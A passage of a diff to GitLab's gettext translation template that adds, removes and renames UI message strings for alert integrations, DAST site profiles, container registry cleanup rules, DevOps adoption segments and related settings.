-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2677,6 +2767,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2689,6 +2791,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2704,16 +2809,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2818,6 +2944,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2935,9 +3064,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -3058,9 +3184,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3094,16 +3217,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3160,6 +3286,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3187,9 +3316,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3220,6 +3346,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3238,6 +3367,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3424,6 +3556,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3490,6 +3628,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3571,6 +3712,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3622,9 +3766,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3676,6 +3817,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3952,6 +4096,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -4072,6 +4222,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4360,12 +4513,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4390,6 +4549,12 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4441,6 +4606,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4699,9 +4867,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4729,6 +4894,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4825,6 +4993,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4852,6 +5023,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4885,9 +5062,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5029,6 +5203,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -5047,9 +5224,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5116,6 +5290,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5302,12 +5479,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5341,6 +5512,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5509,7 +5683,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5551,10 +5725,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5602,7 +5776,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5611,9 +5785,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5704,6 +5875,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5812,6 +5986,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -6070,9 +6247,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6175,6 +6349,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6508,7 +6685,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6850,6 +7027,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6973,9 +7153,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7147,6 +7324,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7171,7 +7351,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7201,6 +7381,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7276,6 +7459,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7285,6 +7477,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7309,7 +7510,16 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7318,6 +7528,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7339,21 +7552,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8143,9 +8365,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8206,6 +8425,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8332,9 +8554,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8383,7 +8602,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8410,9 +8632,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8434,15 +8653,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8476,9 +8695,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8512,64 +8740,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8683,9 +8932,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8710,7 +8956,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
@@ -8794,9 +9040,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9208,6 +9451,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9226,6 +9472,9 @@ msgstr ""
msgid "Description"
msgstr ""
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9262,6 +9511,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9319,6 +9571,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9397,15 +9652,9 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9415,15 +9664,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr ""
@@ -9613,9 +9931,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr ""
-
msgid "Dockerfile"
msgstr ""
@@ -9688,9 +10003,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr ""
@@ -9739,9 +10051,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9847,6 +10165,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr ""
@@ -9922,6 +10243,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9952,6 +10276,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -10024,7 +10351,7 @@ msgstr ""
msgid "Enable"
msgstr ""
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -10042,6 +10369,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10393,6 +10723,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10504,6 +10837,9 @@ msgstr ""
msgid "Environments|Stopping"
msgstr ""
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10741,9 +11077,6 @@ msgstr ""
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10780,6 +11113,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10858,6 +11194,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -11092,6 +11431,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -11200,6 +11542,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11335,6 +11680,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11374,6 +11722,9 @@ msgstr ""
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11413,12 +11764,18 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
